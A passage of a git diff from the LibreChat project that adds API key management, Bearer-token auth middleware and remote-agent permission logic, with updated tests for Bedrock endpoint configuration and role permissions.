createApiKey(req: AuthenticatedRequest, res: Response) { + try { + const { name, expiresAt } = req.body; + + if (!name || typeof name !== 'string' || name.trim() === '') { + return res.status(400).json({ + error: 'API key name is required', + }); + } + + const result = await deps.createAgentApiKey({ + userId: req.user?.id || '', + name: name.trim(), + expiresAt: expiresAt ? new Date(expiresAt) : null, + }); + + res.status(201).json({ + id: result.id, + name: result.name, + key: result.key, + keyPrefix: result.keyPrefix, + createdAt: result.createdAt, + expiresAt: result.expiresAt, + }); + } catch (error) { + logger.error('[createApiKey] Error creating API key:', error); + res.status(500).json({ error: 'Failed to create API key' }); + } + } + + async function listApiKeys(req: AuthenticatedRequest, res: Response) { + try { + const keys = await deps.listAgentApiKeys(req.user?.id || ''); + res.status(200).json({ keys }); + } catch (error) { + logger.error('[listApiKeys] Error listing API keys:', error); + res.status(500).json({ error: 'Failed to list API keys' }); + } + } + + async function getApiKey(req: AuthenticatedRequest, res: Response) { + try { + const key = await deps.getAgentApiKeyById(req.params.id, req.user?.id || ''); + + if (!key) { + return res.status(404).json({ error: 'API key not found' }); + } + + res.status(200).json(key); + } catch (error) { + logger.error('[getApiKey] Error getting API key:', error); + res.status(500).json({ error: 'Failed to get API key' }); + } + } + + async function deleteApiKey(req: AuthenticatedRequest, res: Response) { + try { + const deleted = await deps.deleteAgentApiKey(req.params.id, req.user?.id || ''); + + if (!deleted) { + return res.status(404).json({ error: 'API key not found' }); + } + + res.status(204).send(); + } catch (error) { + logger.error('[deleteApiKey] Error deleting API key:', error); + res.status(500).json({ error: 'Failed to delete API key' }); + } + } + + return { + createApiKey, + listApiKeys, + getApiKey, + deleteApiKey, + }; +} diff --git a/packages/api/src/apiKeys/index.ts b/packages/api/src/apiKeys/index.ts new file mode 100644 index 0000000000..69fd7b5c1a --- /dev/null +++ b/packages/api/src/apiKeys/index.ts @@ -0,0 +1,4 @@ +export * from './service'; +export * from './middleware'; +export * from './handlers'; +export * from './permissions'; diff --git a/packages/api/src/apiKeys/middleware.ts b/packages/api/src/apiKeys/middleware.ts new file mode 100644 index 0000000000..2a50353648 --- /dev/null +++ b/packages/api/src/apiKeys/middleware.ts @@ -0,0 +1,163 @@ +import { logger } from '@librechat/data-schemas'; +import { ResourceType, PermissionBits, hasPermissions } from 'librechat-data-provider'; +import type { Request, Response, NextFunction } from 'express'; +import type { IUser } from '@librechat/data-schemas'; +import type { Types } from 'mongoose'; +import { getRemoteAgentPermissions } from './service'; + +export interface ApiKeyAuthDependencies { + validateAgentApiKey: (apiKey: string) => Promise<{ + userId: Types.ObjectId; + keyId: Types.ObjectId; + } | null>; + findUser: (query: { _id: string | Types.ObjectId }) => Promise; +} + +export interface RemoteAgentAccessDependencies { + getAgent: (query: { + id: string; + }) => Promise<{ _id: Types.ObjectId; [key: string]: unknown } | null>; + getEffectivePermissions: (params: { + userId: string; + role?: string; + resourceType: ResourceType; + resourceId: string | Types.ObjectId; + }) => Promise; +} + +export interface ApiKeyAuthRequest extends Request { + user?: IUser & { id: string }; + apiKeyId?: Types.ObjectId; +} + +export interface RemoteAgentAccessRequest extends ApiKeyAuthRequest { + agent?: { _id: Types.ObjectId; [key: string]: unknown }; + agentPermissions?: number; +} + +export function createRequireApiKeyAuth(deps: ApiKeyAuthDependencies) { + return async (req: ApiKeyAuthRequest, res: Response, next: NextFunction) => { + const authHeader = req.headers.authorization; + + if (!authHeader || !authHeader.startsWith('Bearer ')) { + return res.status(401).json({ + error: { + message: 'Missing or invalid Authorization header. Expected: Bearer ', + type: 'invalid_request_error', + code: 'missing_api_key', + }, + }); + } + + const apiKey = authHeader.slice(7); + + if (!apiKey || apiKey.trim() === '') { + return res.status(401).json({ + error: { + message: 'API key is required', + type: 'invalid_request_error', + code: 'missing_api_key', + }, + }); + } + + try { + const keyValidation = await deps.validateAgentApiKey(apiKey); + + if (!keyValidation) { + return res.status(401).json({ + error: { + message: 'Invalid API key', + type: 'invalid_request_error', + code: 'invalid_api_key', + }, + }); + } + + const user = await deps.findUser({ _id: keyValidation.userId }); + + if (!user) { + return res.status(401).json({ + error: { + message: 'User not found for this API key', + type: 'invalid_request_error', + code: 'invalid_api_key', + }, + }); + } + + user.id = (user._id as Types.ObjectId).toString(); + req.user = user as IUser & { id: string }; + req.apiKeyId = keyValidation.keyId; + + next(); + } catch (error) { + logger.error('[requireApiKeyAuth] Error validating API key:', error); + return res.status(500).json({ + error: { + message: 'Internal server error during authentication', + type: 'server_error', + code: 'internal_error', + }, + }); + } + }; +} + +export function createCheckRemoteAgentAccess(deps: RemoteAgentAccessDependencies) { + return async (req: RemoteAgentAccessRequest, res: Response, next: NextFunction) => { + const agentId = req.body?.model || req.params?.model; + + if (!agentId) { + return res.status(400).json({ + error: { + message: 'Model (agent ID) is required', + type: 'invalid_request_error', + code: 'missing_model', + }, + }); + } + + try { + const agent = await deps.getAgent({ id: agentId }); + + if (!agent) { + return res.status(404).json({ + error: { + message: `Agent not found: ${agentId}`, + type: 'invalid_request_error', + code: 'model_not_found', + }, + }); + } + + const userId = req.user?.id || ''; + + const permissions = await getRemoteAgentPermissions(deps, userId, req.user?.role, agent._id); + + if (!hasPermissions(permissions, PermissionBits.VIEW)) { + return res.status(403).json({ + error: { + message: `No remote access to agent: ${agentId}`, + type: 'permission_error', + code: 'access_denied', + }, + }); + } + + req.agent = agent; + req.agentPermissions = permissions; + + next(); + } catch (error) { + logger.error('[checkRemoteAgentAccess] Error checking agent access:', error); + return res.status(500).json({ + error: { + message: 'Internal server error while checking agent access', + type: 'server_error', + code: 'internal_error', + }, + }); + } + }; +} diff --git a/packages/api/src/apiKeys/permissions.ts b/packages/api/src/apiKeys/permissions.ts new file mode 100644 index 0000000000..2556f25b57 --- /dev/null +++ b/packages/api/src/apiKeys/permissions.ts @@ -0,0 +1,169 @@ +import { + ResourceType, + PrincipalType, + PermissionBits, + AccessRoleIds, +} from 'librechat-data-provider'; +import type { Types, Model } from 'mongoose'; + +export interface Principal { + type: string; + id: string; + name: string; + email?: string; + avatar?: string; + source?: string; + idOnTheSource?: string; + accessRoleId: string; + isImplicit?: boolean; +} + +export interface EnricherDependencies { + AclEntry: Model<{ + principalType: string; + principalId: Types.ObjectId; + resourceType: string; + resourceId: Types.ObjectId; + permBits: number; + roleId: Types.ObjectId; + grantedBy: Types.ObjectId; + grantedAt: Date; + }>; + AccessRole: Model<{ + accessRoleId: string; + permBits: number; + }>; + logger: { error: (msg: string, ...args: unknown[]) => void }; +} + +export interface EnrichResult { + principals: Principal[]; + entriesToBackfill: Types.ObjectId[]; +} + +/** Enriches REMOTE_AGENT principals with implicit AGENT owners */ +export async function enrichRemoteAgentPrincipals( + deps: EnricherDependencies, + resourceId: string | Types.ObjectId, + principals: Principal[], +): Promise { + const { AclEntry } = deps; + + const resourceObjectId = + typeof resourceId === 'string' && /^[a-f\d]{24}$/i.test(resourceId) + ? deps.AclEntry.base.Types.ObjectId.createFromHexString(resourceId) + : resourceId; + + const agentOwnerEntries = await AclEntry.aggregate([ + { + $match: { + resourceType: ResourceType.AGENT, + resourceId: resourceObjectId, + principalType: PrincipalType.USER, + permBits: { $bitsAllSet: PermissionBits.SHARE }, + }, + }, + { + $lookup: { + from: 'users', + localField: 'principalId', + foreignField: '_id', + as: 'userInfo', + }, + }, + { + $project: { + principalId: 1, + userInfo: { $arrayElemAt: ['$userInfo', 0] }, + }, + }, + ]); + + const enrichedPrincipals = [...principals]; + const entriesToBackfill: Types.ObjectId[] = []; + + for (const entry of agentOwnerEntries) { + if (!entry.userInfo) { + continue; + } + + const alreadyIncluded = enrichedPrincipals.some( + (p) => p.type === PrincipalType.USER && p.id === entry.principalId.toString(), + ); + + if (!alreadyIncluded) { + enrichedPrincipals.unshift({ + type: PrincipalType.USER, + id: entry.userInfo._id.toString(), + name: entry.userInfo.name || entry.userInfo.username, + email: entry.userInfo.email, + avatar: entry.userInfo.avatar, + source: 'local', + idOnTheSource: entry.userInfo.idOnTheSource || entry.userInfo._id.toString(), + accessRoleId: AccessRoleIds.REMOTE_AGENT_OWNER, + isImplicit: true, + }); + + entriesToBackfill.push(entry.principalId); + } + } + + return { principals: enrichedPrincipals, entriesToBackfill }; +} + +/** Backfills REMOTE_AGENT ACL entries for AGENT owners (fire-and-forget) */ +export function backfillRemoteAgentPermissions( + deps: EnricherDependencies, + resourceId: string | Types.ObjectId, + entriesToBackfill: Types.ObjectId[], +): void { + if (entriesToBackfill.length === 0) { + return; + } + + const { AclEntry, AccessRole, logger } = deps; + + const resourceObjectId = + typeof resourceId === 'string' && /^[a-f\d]{24}$/i.test(resourceId) + ? AclEntry.base.Types.ObjectId.createFromHexString(resourceId) + : resourceId; + + AccessRole.findOne({ accessRoleId: AccessRoleIds.REMOTE_AGENT_OWNER }) + .lean() + .then((role) => { + if (!role) { + logger.error('[backfillRemoteAgentPermissions] REMOTE_AGENT_OWNER role not found'); + return; + } + + const bulkOps = entriesToBackfill.map((principalId) => ({ + updateOne: { + filter: { + principalType: PrincipalType.USER, + principalId, + resourceType: ResourceType.REMOTE_AGENT, + resourceId: resourceObjectId, + }, + update: { + $setOnInsert: { + principalType: PrincipalType.USER, + principalId, + principalModel: 'User', + resourceType: ResourceType.REMOTE_AGENT, + resourceId: resourceObjectId, + permBits: role.permBits, + roleId: role._id, + grantedBy: principalId, + grantedAt: new Date(), + }, + }, + upsert: true, + }, + })); + + return AclEntry.bulkWrite(bulkOps, { ordered: false }); + }) + .catch((err) => { + logger.error('[backfillRemoteAgentPermissions] Failed to backfill:', err); + }); +} diff --git a/packages/api/src/apiKeys/service.ts b/packages/api/src/apiKeys/service.ts new file mode 100644 index 0000000000..30ae0afb53 --- /dev/null +++ b/packages/api/src/apiKeys/service.ts @@ -0,0 +1,146 @@ +import { createMethods } from '@librechat/data-schemas'; +import { ResourceType, PermissionBits, hasPermissions } from 'librechat-data-provider'; +import type { AllMethods, IUser } from '@librechat/data-schemas'; +import type { Types } from 'mongoose'; + +export interface ApiKeyServiceDependencies { + validateAgentApiKey: AllMethods['validateAgentApiKey']; + createAgentApiKey: AllMethods['createAgentApiKey']; + listAgentApiKeys: AllMethods['listAgentApiKeys']; + deleteAgentApiKey: AllMethods['deleteAgentApiKey']; + getAgentApiKeyById: AllMethods['getAgentApiKeyById']; + findUser: (query: { _id: string | Types.ObjectId }) => Promise; +} + +export interface RemoteAgentAccessResult { + hasAccess: boolean; + permissions: number; + agent: { _id: Types.ObjectId; [key: string]: unknown } | null; +} + +export class AgentApiKeyService { + private deps: ApiKeyServiceDependencies; + + constructor(deps: ApiKeyServiceDependencies) { + this.deps = deps; + } + + async validateApiKey(apiKey: string): Promise<{ + userId: Types.ObjectId; + keyId: Types.ObjectId; + } | null> { + return this.deps.validateAgentApiKey(apiKey); + } + + async createApiKey(params: { + userId: string | Types.ObjectId; + name: string; + expiresAt?: Date | null; + }) { + return this.deps.createAgentApiKey(params); + } + + async listApiKeys(userId: string | Types.ObjectId) { + return this.deps.listAgentApiKeys(userId); + } + + async deleteApiKey(keyId: string | Types.ObjectId, userId: string | Types.ObjectId) { + return this.deps.deleteAgentApiKey(keyId, userId); + } + + async getApiKeyById(keyId: string | Types.ObjectId, userId: string | Types.ObjectId) { + return this.deps.getAgentApiKeyById(keyId, userId); + } + + async getUserFromApiKey(apiKey: string): Promise { + const keyValidation = await this.validateApiKey(apiKey); + if (!keyValidation) { + return null; + } + + return this.deps.findUser({ _id: keyValidation.userId }); + } +} + +export function createApiKeyServiceDependencies( + mongoose: typeof import('mongoose'), +): ApiKeyServiceDependencies { + const methods = createMethods(mongoose); + return { + validateAgentApiKey: methods.validateAgentApiKey, + createAgentApiKey: methods.createAgentApiKey, + listAgentApiKeys: methods.listAgentApiKeys, + deleteAgentApiKey: methods.deleteAgentApiKey, + getAgentApiKeyById: methods.getAgentApiKeyById, + findUser: methods.findUser, + }; +} + +export interface GetRemoteAgentPermissionsDeps { + getEffectivePermissions: (params: { + userId: string; + role?: string; + resourceType: ResourceType; + resourceId: string | Types.ObjectId; + }) => Promise; +} + +/** AGENT owners automatically have full REMOTE_AGENT permissions */ +export async function getRemoteAgentPermissions( + deps: GetRemoteAgentPermissionsDeps, + userId: string, + role: string | undefined, + resourceId: string | Types.ObjectId, +): Promise { + const agentPerms = await deps.getEffectivePermissions({ + userId, + role, + resourceType: ResourceType.AGENT, + resourceId, + }); + + if (hasPermissions(agentPerms, PermissionBits.SHARE)) { + return PermissionBits.VIEW | PermissionBits.EDIT | PermissionBits.DELETE | PermissionBits.SHARE; + } + + return deps.getEffectivePermissions({ + userId, + role, + resourceType: ResourceType.REMOTE_AGENT, + resourceId, + }); +} + +export async function checkRemoteAgentAccess(params: { + userId: string; + role?: string; + agentId: string; + getAgent: (query: { + id: string; + }) => Promise<{ _id: Types.ObjectId; [key: string]: unknown } | null>; + getEffectivePermissions: (params: { + userId: string; + role?: string; + resourceType: ResourceType; + resourceId: string | Types.ObjectId; + }) => Promise; +}): Promise { + const { userId, role, agentId, getAgent, getEffectivePermissions } = params; + + const agent = await getAgent({ id: agentId }); + + if (!agent) { + return { hasAccess: false, permissions: 0, agent: null }; + } + + const permissions = await getRemoteAgentPermissions( + { getEffectivePermissions }, + userId, + role, + agent._id, + ); + + const hasAccess = hasPermissions(permissions, PermissionBits.VIEW); + + return { hasAccess, permissions, agent }; +} diff --git a/packages/api/src/app/AppService.spec.ts b/packages/api/src/app/AppService.spec.ts index 9c771b4bd6..a7b5a46054 100644 --- a/packages/api/src/app/AppService.spec.ts +++ b/packages/api/src/app/AppService.spec.ts @@ -611,6 +611,78 @@ describe('AppService', () => { ); }); + it('should correctly configure Bedrock endpoint with models and inferenceProfiles', async () => { + const config: Partial = { + endpoints: { + [EModelEndpoint.bedrock]: { + models: [ + 'us.anthropic.claude-3-7-sonnet-20250219-v1:0', + 'us.anthropic.claude-sonnet-4-5-20250929-v1:0', + 'global.anthropic.claude-opus-4-5-20251101-v1:0', + ], + inferenceProfiles: { + 'us.anthropic.claude-3-7-sonnet-20250219-v1:0': + 'arn:aws:bedrock:us-east-1:123456789012:application-inference-profile/abc123', + 'us.anthropic.claude-sonnet-4-5-20250929-v1:0': '${BEDROCK_SONNET_45_PROFILE}', + }, + availableRegions: ['us-east-1', 'us-west-2'], + titleConvo: true, + titleModel: 'us.anthropic.claude-3-7-sonnet-20250219-v1:0', + }, + }, + }; + + const result = await AppService({ config }); + + expect(result).toEqual( + expect.objectContaining({ + endpoints: expect.objectContaining({ + [EModelEndpoint.bedrock]: expect.objectContaining({ + models: expect.arrayContaining([ + 'us.anthropic.claude-3-7-sonnet-20250219-v1:0', + 'us.anthropic.claude-sonnet-4-5-20250929-v1:0', + 'global.anthropic.claude-opus-4-5-20251101-v1:0', + ]), + inferenceProfiles: expect.objectContaining({ + 'us.anthropic.claude-3-7-sonnet-20250219-v1:0': + 'arn:aws:bedrock:us-east-1:123456789012:application-inference-profile/abc123', + 'us.anthropic.claude-sonnet-4-5-20250929-v1:0': '${BEDROCK_SONNET_45_PROFILE}', + }), + availableRegions: expect.arrayContaining(['us-east-1', 'us-west-2']), + titleConvo: true, + titleModel: 'us.anthropic.claude-3-7-sonnet-20250219-v1:0', + }), + }), + }), + ); + }); + + it('should configure Bedrock endpoint with only inferenceProfiles (no models array)', async () => { + const config: Partial = { + endpoints: { + [EModelEndpoint.bedrock]: { + inferenceProfiles: { + 'us.anthropic.claude-3-7-sonnet-20250219-v1:0': '${BEDROCK_INFERENCE_PROFILE_ARN}', + }, + }, + }, + }; + + const result = await AppService({ config }); + + expect(result).toEqual( + expect.objectContaining({ + endpoints: expect.objectContaining({ + [EModelEndpoint.bedrock]: expect.objectContaining({ + inferenceProfiles: expect.objectContaining({ + 'us.anthropic.claude-3-7-sonnet-20250219-v1:0': '${BEDROCK_INFERENCE_PROFILE_ARN}', + }), + }), + }), + }), + ); + }); + it('should correctly configure all endpoint when specified', async () => { const config: Partial = { endpoints: { diff --git a/packages/api/src/app/config.test.ts b/packages/api/src/app/config.test.ts index f85bb8a62c..3e2ee6d143 100644 --- a/packages/api/src/app/config.test.ts +++ b/packages/api/src/app/config.test.ts @@ -1,7 +1,7 @@ -import { getTransactionsConfig, getBalanceConfig } from './config'; +import { getTransactionsConfig, getBalanceConfig, getCustomEndpointConfig } from './config'; import { logger } from '@librechat/data-schemas'; -import { FileSources } from 'librechat-data-provider'; -import type { TCustomConfig } from 'librechat-data-provider'; +import { FileSources, EModelEndpoint } from 'librechat-data-provider'; +import type { TCustomConfig, TEndpoint } from 'librechat-data-provider'; import type { AppConfig } from '@librechat/data-schemas'; // Helper function to create a minimal AppConfig for testing @@ -282,3 +282,75 @@ describe('getBalanceConfig', () => { }); }); }); + +describe('getCustomEndpointConfig', () => { + describe('when appConfig is not provided', () => { + it('should throw an error', () => { + expect(() => getCustomEndpointConfig({ endpoint: 'test' })).toThrow( + 'Config not found for the test custom endpoint.', + ); + }); + }); + + describe('when appConfig is provided', () => { + it('should return undefined when no custom endpoints are configured', () => { + const appConfig = createTestAppConfig(); + const result = getCustomEndpointConfig({ endpoint: 'test', appConfig }); + expect(result).toBeUndefined(); + }); + + it('should return the matching endpoint config when found', () => { + const appConfig = createTestAppConfig({ + endpoints: { + [EModelEndpoint.custom]: [ + { + name: 'TestEndpoint', + apiKey: 'test-key', + } as TEndpoint, + ], + }, + }); + + const result = getCustomEndpointConfig({ endpoint: 'TestEndpoint', appConfig }); + expect(result).toEqual({ + name: 'TestEndpoint', + apiKey: 'test-key', + }); + }); + + it('should handle case-insensitive matching for Ollama endpoint', () => { + const appConfig = createTestAppConfig({ + endpoints: { + [EModelEndpoint.custom]: [ + { + name: 'Ollama', + apiKey: 'ollama-key', + } as TEndpoint, + ], + }, + }); + + const result = getCustomEndpointConfig({ endpoint: 'Ollama', appConfig }); + expect(result).toEqual({ + name: 'Ollama', + apiKey: 'ollama-key', + }); + }); + + it('should handle mixed case endpoint names', () => { + const appConfig = createTestAppConfig({ + endpoints: { + [EModelEndpoint.custom]: [ + { + name: 'CustomAI', + apiKey: 'custom-key', + } as TEndpoint, + ], + }, + }); + + const result = getCustomEndpointConfig({ endpoint: 'customai', appConfig }); + expect(result).toBeUndefined(); + }); + }); +}); diff --git a/packages/api/src/app/config.ts b/packages/api/src/app/config.ts index 38144dee2b..db5917da09 100644 --- a/packages/api/src/app/config.ts +++ b/packages/api/src/app/config.ts @@ -64,11 +64,7 @@ export const getCustomEndpointConfig = ({ const customEndpoints = appConfig.endpoints?.[EModelEndpoint.custom] ?? []; return customEndpoints.find( - (endpointConfig) => normalizeEndpointName(endpointConfig.name) === endpoint, + (endpointConfig) => + normalizeEndpointName(endpointConfig.name) === normalizeEndpointName(endpoint), ); }; - -export function hasCustomUserVars(appConfig?: AppConfig): boolean { - const mcpServers = appConfig?.mcpConfig; - return Object.values(mcpServers ?? {}).some((server) => server?.customUserVars); -} diff --git a/packages/api/src/app/permissions.spec.ts b/packages/api/src/app/permissions.spec.ts index b84ad63498..7ab7e0d0d1 100644 --- a/packages/api/src/app/permissions.spec.ts +++ b/packages/api/src/app/permissions.spec.ts @@ -100,6 +100,12 @@ describe('updateInterfacePermissions - permissions', () => { [Permissions.SHARE]: false, [Permissions.SHARE_PUBLIC]: false, }, + [PermissionTypes.REMOTE_AGENTS]: { + [Permissions.USE]: false, + [Permissions.CREATE]: false, + [Permissions.SHARE]: false, + [Permissions.SHARE_PUBLIC]: false, + }, }; const expectedPermissionsForAdmin = { @@ -141,6 +147,12 @@ describe('updateInterfacePermissions - permissions', () => { [Permissions.SHARE]: false, [Permissions.SHARE_PUBLIC]: false, }, + [PermissionTypes.REMOTE_AGENTS]: { + [Permissions.USE]: true, + [Permissions.CREATE]: true, + [Permissions.SHARE]: true, + [Permissions.SHARE_PUBLIC]: true, + }, }; expect(mockUpdateAccessPermissions).toHaveBeenCalledTimes(2); @@ -246,6 +258,12 @@ describe('updateInterfacePermissions - permissions', () => { [Permissions.SHARE]: false, [Permissions.SHARE_PUBLIC]: false, }, + [PermissionTypes.REMOTE_AGENTS]: { + [Permissions.USE]: false, + [Permissions.CREATE]: false, + [Permissions.SHARE]: false, + [Permissions.SHARE_PUBLIC]: false, + }, }; const expectedPermissionsForAdmin = { @@ -287,6 +305,12 @@ describe('updateInterfacePermissions - permissions', () => { [Permissions.SHARE]: false, [Permissions.SHARE_PUBLIC]: false, }, + [PermissionTypes.REMOTE_AGENTS]: { + [Permissions.USE]: true, + [Permissions.CREATE]: true, + [Permissions.SHARE]: true, + [Permissions.SHARE_PUBLIC]: true, + }, }; expect(mockUpdateAccessPermissions).toHaveBeenCalledTimes(2); @@ -378,6 +402,12 @@ describe('updateInterfacePermissions - permissions', () => { [Permissions.SHARE]: false, [Permissions.SHARE_PUBLIC]: false, }, + [PermissionTypes.REMOTE_AGENTS]: { + [Permissions.USE]: false, + [Permissions.CREATE]: false, + [Permissions.SHARE]: false, + [Permissions.SHARE_PUBLIC]: false, + }, }; const expectedPermissionsForAdmin = { @@ -419,6 +449,12 @@ describe('updateInterfacePermissions - permissions', () => { [Permissions.SHARE]: true, [Permissions.SHARE_PUBLIC]: true, }, + [PermissionTypes.REMOTE_AGENTS]: { + [Permissions.USE]: true, + [Permissions.CREATE]: true, + [Permissions.SHARE]: true, + [Permissions.SHARE_PUBLIC]: true, + }, }; expect(mockUpdateAccessPermissions).toHaveBeenCalledTimes(2); @@ -523,6 +559,12 @@ describe('updateInterfacePermissions - permissions', () => { [Permissions.SHARE]: false, [Permissions.SHARE_PUBLIC]: false, }, + [PermissionTypes.REMOTE_AGENTS]: { + [Permissions.USE]: false, + [Permissions.CREATE]: false, + [Permissions.SHARE]: false, + [Permissions.SHARE_PUBLIC]: false, + }, }; const expectedPermissionsForAdmin = { @@ -564,6 +606,12 @@ describe('updateInterfacePermissions - permissions', () => { [Permissions.SHARE]: true, [Permissions.SHARE_PUBLIC]: true, }, + [PermissionTypes.REMOTE_AGENTS]: { + [Permissions.USE]: true, + [Permissions.CREATE]: true, + [Permissions.SHARE]: true, + [Permissions.SHARE_PUBLIC]: true, + }, }; expect(mockUpdateAccessPermissions).toHaveBeenCalledTimes(2); @@ -655,6 +703,12 @@ describe('updateInterfacePermissions - permissions', () => { [Permissions.SHARE]: false, [Permissions.SHARE_PUBLIC]: false, }, + [PermissionTypes.REMOTE_AGENTS]: { + [Permissions.USE]: false, + [Permissions.CREATE]: false, + [Permissions.SHARE]: false, + [Permissions.SHARE_PUBLIC]: false, + }, }; const expectedPermissionsForAdmin = { @@ -696,6 +750,12 @@ describe('updateInterfacePermissions - permissions', () => { [Permissions.SHARE]: true, [Permissions.SHARE_PUBLIC]: true, }, + [PermissionTypes.REMOTE_AGENTS]: { + [Permissions.USE]: true, + [Permissions.CREATE]: true, + [Permissions.SHARE]: true, + [Permissions.SHARE_PUBLIC]: true, + }, }; expect(mockUpdateAccessPermissions).toHaveBeenCalledTimes(2); @@ -716,11 +776,19 @@ describe('updateInterfacePermissions - permissions', () => { }); it('should only update permissions that do not exist when no config provided', async () => { - // Mock that some permissions already exist + // Mock that some permissions already exist (with SHARE/SHARE_PUBLIC as they would be post-#11283) mockGetRoleByName.mockResolvedValue({ permissions: { - [PermissionTypes.PROMPTS]: { [Permissions.USE]: false }, - [PermissionTypes.AGENTS]: { [Permissions.USE]: true }, + [PermissionTypes.PROMPTS]: { + [Permissions.USE]: false, + [Permissions.SHARE]: false, + [Permissions.SHARE_PUBLIC]: false, + }, + [PermissionTypes.AGENTS]: { + [Permissions.USE]: true, + [Permissions.SHARE]: false, + [Permissions.SHARE_PUBLIC]: false, + }, }, }); @@ -784,6 +852,12 @@ describe('updateInterfacePermissions - permissions', () => { [Permissions.SHARE]: false, [Permissions.SHARE_PUBLIC]: false, }, + [PermissionTypes.REMOTE_AGENTS]: { + [Permissions.USE]: false, + [Permissions.CREATE]: false, + [Permissions.SHARE]: false, + [Permissions.SHARE_PUBLIC]: false, + }, }; const expectedPermissionsForAdmin = { @@ -813,6 +887,12 @@ describe('updateInterfacePermissions - permissions', () => { [Permissions.SHARE]: true, [Permissions.SHARE_PUBLIC]: true, }, + [PermissionTypes.REMOTE_AGENTS]: { + [Permissions.USE]: true, + [Permissions.CREATE]: true, + [Permissions.SHARE]: true, + [Permissions.SHARE_PUBLIC]: true, + }, }; expect(mockUpdateAccessPermissions).toHaveBeenCalledTimes(2); @@ -820,30 +900,38 @@ describe('updateInterfacePermissions - permissions', () => { SystemRoles.USER, expectedPermissionsForUser, expect.objectContaining({ - permissions: { - [PermissionTypes.PROMPTS]: { [Permissions.USE]: false }, - [PermissionTypes.AGENTS]: { [Permissions.USE]: true }, - }, + permissions: expect.objectContaining({ + [PermissionTypes.PROMPTS]: expect.objectContaining({ [Permissions.USE]: false }), + [PermissionTypes.AGENTS]: expect.objectContaining({ [Permissions.USE]: true }), + }), }), ); expect(mockUpdateAccessPermissions).toHaveBeenCalledWith( SystemRoles.ADMIN, expectedPermissionsForAdmin, expect.objectContaining({ - permissions: { - [PermissionTypes.PROMPTS]: { [Permissions.USE]: false }, - [PermissionTypes.AGENTS]: { [Permissions.USE]: true }, - }, + permissions: expect.objectContaining({ + [PermissionTypes.PROMPTS]: expect.objectContaining({ [Permissions.USE]: false }), + [PermissionTypes.AGENTS]: expect.objectContaining({ [Permissions.USE]: true }), + }), }), ); }); it('should override existing permissions when explicitly configured', async () => { - // Mock that some permissions already exist + // Mock that some permissions already exist (with SHARE/SHARE_PUBLIC as they would be post-#11283) mockGetRoleByName.mockResolvedValue({ permissions: { - [PermissionTypes.PROMPTS]: { [Permissions.USE]: false }, - [PermissionTypes.AGENTS]: { [Permissions.USE]: false }, + [PermissionTypes.PROMPTS]: { + [Permissions.USE]: false, + [Permissions.SHARE]: false, + [Permissions.SHARE_PUBLIC]: false, + }, + [PermissionTypes.AGENTS]: { + [Permissions.USE]: false, + [Permissions.SHARE]: false, + [Permissions.SHARE_PUBLIC]: false, + }, [PermissionTypes.BOOKMARKS]: { [Permissions.USE]: false }, }, }); @@ -890,9 +978,7 @@ describe('updateInterfacePermissions - permissions', () => { const expectedPermissionsForUser = { [PermissionTypes.PROMPTS]: { [Permissions.USE]: true, - [Permissions.CREATE]: true, - [Permissions.SHARE]: false, - [Permissions.SHARE_PUBLIC]: false, + // CREATE/SHARE/SHARE_PUBLIC not included since prompts: true is boolean and PROMPTS already exists }, // Explicitly configured // All other permissions that don't exist in the database [PermissionTypes.MEMORIES]: { @@ -920,14 +1006,18 @@ describe('updateInterfacePermissions - permissions', () => { [Permissions.SHARE]: false, [Permissions.SHARE_PUBLIC]: false, }, + [PermissionTypes.REMOTE_AGENTS]: { + [Permissions.USE]: false, + [Permissions.CREATE]: false, + [Permissions.SHARE]: false, + [Permissions.SHARE_PUBLIC]: false, + }, }; const expectedPermissionsForAdmin = { [PermissionTypes.PROMPTS]: { [Permissions.USE]: true, - [Permissions.CREATE]: true, - [Permissions.SHARE]: true, - [Permissions.SHARE_PUBLIC]: true, + // CREATE/SHARE/SHARE_PUBLIC not included since prompts: true is boolean and PROMPTS already exists }, // Explicitly configured // All other permissions that don't exist in the database [PermissionTypes.MEMORIES]: { @@ -955,6 +1045,12 @@ describe('updateInterfacePermissions - permissions', () => { [Permissions.SHARE]: true, [Permissions.SHARE_PUBLIC]: true, }, + [PermissionTypes.REMOTE_AGENTS]: { + [Permissions.USE]: true, + [Permissions.CREATE]: true, + [Permissions.SHARE]: true, + [Permissions.SHARE_PUBLIC]: true, + }, }; expect(mockUpdateAccessPermissions).toHaveBeenCalledTimes(2); @@ -1260,8 +1356,13 @@ describe('updateInterfacePermissions - permissions', () => { it('should leave all existing permissions unchanged when nothing is configured', async () => { // Mock existing permissions with values that differ from defaults + // SHARE/SHARE_PUBLIC included as they would be in a post-#11283 DB document const existingUserPermissions = { - [PermissionTypes.PROMPTS]: { [Permissions.USE]: false }, + [PermissionTypes.PROMPTS]: { + [Permissions.USE]: false, + [Permissions.SHARE]: false, + [Permissions.SHARE_PUBLIC]: false, + }, [PermissionTypes.BOOKMARKS]: { [Permissions.USE]: false }, [PermissionTypes.MEMORIES]: { [Permissions.USE]: false }, [PermissionTypes.PEOPLE_PICKER]: { @@ -1320,10 +1421,14 @@ describe('updateInterfacePermissions - permissions', () => { }); it('should only update explicitly configured permissions and leave others unchanged', async () => { - // Mock existing permissions + // Mock existing permissions (with SHARE/SHARE_PUBLIC as they would be post-#11283) mockGetRoleByName.mockResolvedValue({ permissions: { - [PermissionTypes.PROMPTS]: { [Permissions.USE]: false }, + [PermissionTypes.PROMPTS]: { + [Permissions.USE]: false, + [Permissions.SHARE]: false, + [Permissions.SHARE_PUBLIC]: false, + }, [PermissionTypes.BOOKMARKS]: { [Permissions.USE]: false }, [PermissionTypes.MEMORIES]: { [Permissions.USE]: false }, [PermissionTypes.PEOPLE_PICKER]: { @@ -1376,11 +1481,9 @@ describe('updateInterfacePermissions - permissions', () => { ); // Explicitly configured permissions should be updated + // CREATE/SHARE/SHARE_PUBLIC not included since prompts: true is boolean and PROMPTS already exists expect(userCall[1][PermissionTypes.PROMPTS]).toEqual({ [Permissions.USE]: true, - [Permissions.CREATE]: true, - [Permissions.SHARE]: false, - [Permissions.SHARE_PUBLIC]: false, }); expect(userCall[1][PermissionTypes.BOOKMARKS]).toEqual({ [Permissions.USE]: true }); expect(userCall[1][PermissionTypes.MARKETPLACE]).toEqual({ [Permissions.USE]: true }); @@ -1651,8 +1754,12 @@ describe('updateInterfacePermissions - permissions', () => { [Permissions.UPDATE]: true, [Permissions.OPT_OUT]: true, }, - // Other existing permissions - [PermissionTypes.PROMPTS]: { [Permissions.USE]: true }, + // Other existing permissions (with SHARE/SHARE_PUBLIC as they would be post-#11283) + 